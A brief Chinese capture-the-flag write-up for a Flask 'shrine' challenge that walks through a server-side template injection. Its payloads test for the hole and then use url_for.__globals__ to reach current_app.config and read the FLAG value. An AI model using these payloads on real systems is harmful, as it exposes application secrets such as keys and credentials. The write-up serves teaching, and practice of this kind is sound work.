访问题目链接是一串python代码
这样不好看,查看源代码
ssti知识点
/shrine/{{2-2}} 判断是否有ssti漏洞
运用Flask函数url_for()
/shrine/{{url_for.__globals__}} 输出所有全局变量
找到当前应用程序
不知到是哪一个就一个一个试,这里我知道是current_app
/shrine/{{url_for.__globals__['current_app'].config}}
其实以及获取了flag了但是可以再深入一点
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
这道题,只要学会了ssti,认真分析代码就可以轻松拿下。